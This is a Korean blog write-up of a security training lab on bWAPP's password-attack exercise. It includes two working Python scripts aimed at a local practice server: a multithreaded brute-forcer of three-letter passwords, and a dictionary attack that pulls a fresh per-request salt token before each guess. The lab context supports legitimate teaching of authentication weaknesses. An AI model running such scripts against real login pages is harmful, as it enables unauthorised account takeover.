yon11b

[SK 쉴더스 루키즈] Authentication Failures - 비밀번호 brute forcing 공격 실습 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] Authentication Failures - 비밀번호 brute forcing 공격 실습

yon11b 2026. 5. 8. 00:51
반응형

bWAPP Broken Auth - Password Attacks

1. Low level

 

 

 

attack 하고 있는 모습…

 

무료 버전이라서 엄청 오래 걸린다. 한 단어 넣는데 3초가 걸린다. 근데 1만 단어 정도는 해야 한다...

 

그래서 멀티쓰레드 코드도 만들어봤다.

import socket
import itertools
import string
import threading
from urllib.parse import quote

# ===== 설정 =====
HOST = "127.0.0.1"
PORT = 8080
PATH = "/ba_pwd_attacks_1.php"
COOKIE = "PHPSESSID=5fl4djukk1iuli574cn7ka7kq4; security_level=0"
LOGIN_ID = "bee"
PASSWORD_LENGTH = 3
CHARSET = string.ascii_lowercase  # a-z
THREAD_COUNT = 10
SUCCESS_KEYWORD = "Successful login"

# ===== 동기화 =====
found_event = threading.Event()
found_password = [None]
print_lock = threading.Lock()
attempt_counter = [0]
counter_lock = threading.Lock()


def recv_all(sock, timeout=3):
    sock.settimeout(timeout)
    data = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    return data.decode("utf-8", errors="ignore")


def try_password(password):
    """패스워드 시도. 성공 시 True 반환"""
    body = (
        f"login={quote(LOGIN_ID)}"
        f"&password={quote(password)}"
        f"&form=submit"
    )
    content_length = len(body)

    request = (
        f"POST {PATH} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Content-Length: {content_length}\r\n"
        f"Cache-Control: max-age=0\r\n"
        f'sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"\r\n'
        f"sec-ch-ua-mobile: ?0\r\n"
        f'sec-ch-ua-platform: "Windows"\r\n'
        f"Accept-Language: ko-KR,ko;q=0.9\r\n"
        f"Origin: http://{HOST}:{PORT}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Upgrade-Insecure-Requests: 1\r\n"
        f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        f"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
        f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"
        f"image/avif,image/webp,image/apng,*/*;q=0.8,"
        f"application/signed-exchange;v=b3;q=0.7\r\n"
        f"Sec-Fetch-Site: same-origin\r\n"
        f"Sec-Fetch-Mode: navigate\r\n"
        f"Sec-Fetch-User: ?1\r\n"
        f"Sec-Fetch-Dest: document\r\n"
        f"Referer: http://{HOST}:{PORT}{PATH}\r\n"
        f"Accept-Encoding: identity\r\n"
        f"Cookie: {COOKIE}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{body}"
    )

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((HOST, PORT))
            s.sendall(request.encode())
            response = recv_all(s)
        return SUCCESS_KEYWORD in response
    except Exception as e:
        with print_lock:
            print(f"[!] 요청 오류 ({password}): {e}")
        return False


def worker(password_chunk):
    """각 스레드가 할당받은 패스워드 묶음을 시도"""
    for password in password_chunk:
        if found_event.is_set():
            return

        success = try_password(password)

        with counter_lock:
            attempt_counter[0] += 1
            current = attempt_counter[0]

        if success:
            found_password[0] = password
            found_event.set()
            with print_lock:
                print(f"\n[+] 성공! password = {password} (시도 횟수: {current})")
            return
        else:
            with print_lock:
                if current % 100 == 0:
                    print(f"[*] 진행 중... {current}회 시도, 최근 시도: {password}")


def chunkify(lst, n):
    """리스트를 n개의 묶음으로 분할"""
    chunks = [[] for _ in range(n)]
    for i, item in enumerate(lst):
        chunks[i % n].append(item)
    return chunks


def bruteforce():
    # 모든 조합 생성: aaa, aab, aac, ..., zzz
    all_passwords = [
        "".join(combo)
        for combo in itertools.product(CHARSET, repeat=PASSWORD_LENGTH)
    ]
    total = len(all_passwords)

    print(f"[*] 대상: http://{HOST}:{PORT}{PATH}")
    print(f"[*] 패스워드 길이: {PASSWORD_LENGTH}, 문자셋: a-z")
    print(f"[*] 총 조합 수: {total}")
    print(f"[*] 스레드 수: {THREAD_COUNT}\n")

    # 패스워드를 스레드 수만큼 나눔
    chunks = chunkify(all_passwords, THREAD_COUNT)

    threads = []
    for chunk in chunks:
        t = threading.Thread(target=worker, args=(chunk,))
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

    if found_password[0]:
        print(f"\n[+] 최종 결과: {found_password[0]}")
    else:
        print("\n[-] 패스워드를 찾지 못했습니다.")


if __name__ == "__main__":
    bruteforce()

 

pw를 잘 찾아낸 모습

 

2. Medium level

여기서는 salt도 들어간다.

즉, login + password + salt 가 다 맞아야 success가 되는 것이다.

 

 

code로 브루트포싱 후 요청을 보내서 salt값을 받아오고 같이 요청 보내서 최종 맞는지 확인까지 해보자

import socket
import re
from urllib.parse import quote

# ===== 설정 =====
HOST = "127.0.0.1"
PORT = 8080
PATH = "/ba_pwd_attacks_2.php"
COOKIE = "PHPSESSID=5fl4djukk1iuli574cn7ka7kq4; security_level=1"
LOGIN_ID = "bee"

# 패스워드 사전 (실제로는 rockyou.txt 등 외부 파일 사용)
PASSWORD_LIST = [
    "123456", "password", "admin", "qwerty",
    "letmein", "bug", "test", "12345"
]

# 로그인 성공/실패 판별 문자열 (응답 본문 기준)
SUCCESS_KEYWORD = "Successful login"
FAILURE_KEYWORD = "Invalid credentials"


def recv_all(sock, timeout=3):
    """소켓에서 응답을 모두 수신"""
    sock.settimeout(timeout)
    data = b""
    try:
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
            # Content-Length 기반으로 종료 판단도 가능하지만
            # 단순화를 위해 timeout으로 종료
    except socket.timeout:
        pass
    return data.decode("utf-8", errors="ignore")


def get_salt():
    """GET 요청을 보내 페이지에서 salt 값 추출"""
    request = (
        f"GET {PATH} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        f"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
        f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
        f"Accept-Language: ko-KR,ko;q=0.9\r\n"
        f"Cookie: {COOKIE}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    )

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(request.encode())
        response = recv_all(s)

    # <input type="hidden" id="salt" name="salt" value="XXXXX" /> 에서 salt 추출
    match = re.search(r'name="salt"\s+value="([^"]+)"', response)
    if not match:
        return None
    return match.group(1)


def try_password(password, salt):
    """주어진 salt로 패스워드 시도. 응답 본문 반환"""
    # 폼 데이터 구성 (원본 요청과 동일한 순서/형식)
    body = (
        f"login={quote(LOGIN_ID)}"
        f"&password={quote(password)}"
        f"&salt={quote(salt)}"
        f"&form=submit"
    )
    content_length = len(body)

    # 원본 캡처와 거의 동일한 헤더 유지
    request = (
        f"POST {PATH} HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Content-Length: {content_length}\r\n"
        f"Cache-Control: max-age=0\r\n"
        f'sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"\r\n'
        f"sec-ch-ua-mobile: ?0\r\n"
        f'sec-ch-ua-platform: "Windows"\r\n'
        f"Accept-Language: ko-KR,ko;q=0.9\r\n"
        f"Origin: http://{HOST}:{PORT}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Upgrade-Insecure-Requests: 1\r\n"
        f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        f"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\r\n"
        f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"
        f"image/avif,image/webp,image/apng,*/*;q=0.8,"
        f"application/signed-exchange;v=b3;q=0.7\r\n"
        f"Sec-Fetch-Site: same-origin\r\n"
        f"Sec-Fetch-Mode: navigate\r\n"
        f"Sec-Fetch-User: ?1\r\n"
        f"Sec-Fetch-Dest: document\r\n"
        f"Referer: http://{HOST}:{PORT}{PATH}\r\n"
        # 파싱 단순화를 위해 압축 응답은 요청하지 않음 (원본은 gzip 포함)
        f"Accept-Encoding: identity\r\n"
        f"Cookie: {COOKIE}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
        f"{body}"
    )

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(request.encode())
        response = recv_all(s)

    return response


def bruteforce():
    print(f"[*] 대상: http://{HOST}:{PORT}{PATH}")
    print(f"[*] 시도할 패스워드 개수: {len(PASSWORD_LIST)}\n")

    for idx, password in enumerate(PASSWORD_LIST, 1):
        # 1) 매 시도마다 새 salt 추출
        salt = get_salt()
        if salt is None:
            print(f"[!] salt 추출 실패. 세션 또는 페이지 확인 필요.")
            break

        # 2) 추출한 salt로 패스워드 시도
        response = try_password(password, salt)

        # 3) 결과 판별
        status = "FAIL"
        if SUCCESS_KEYWORD in response:
            status = "SUCCESS"

        print(f"[{idx:>3}] salt={salt:<10} password={password:<15} -> {status}")

        if status == "SUCCESS":
            print(f"\n[+] 패스워드 발견: {password}")
            return password

    print("\n[-] 패스워드를 찾지 못했습니다.")
    return None


if __name__ == "__main__":
    bruteforce()

 

전체 흐름

GET 요청 → 서버가 salt="abc123" 발급 → HTML에서 추출
                                            ↓
POST 요청에 password="123456" + salt="abc123" 같이 전송
                                            ↓
실패 → 다시 GET 요청 → 서버가 salt="xyz789" 새로 발급
                                            ↓
POST 요청에 password="password" + salt="xyz789" 전송

 

728x90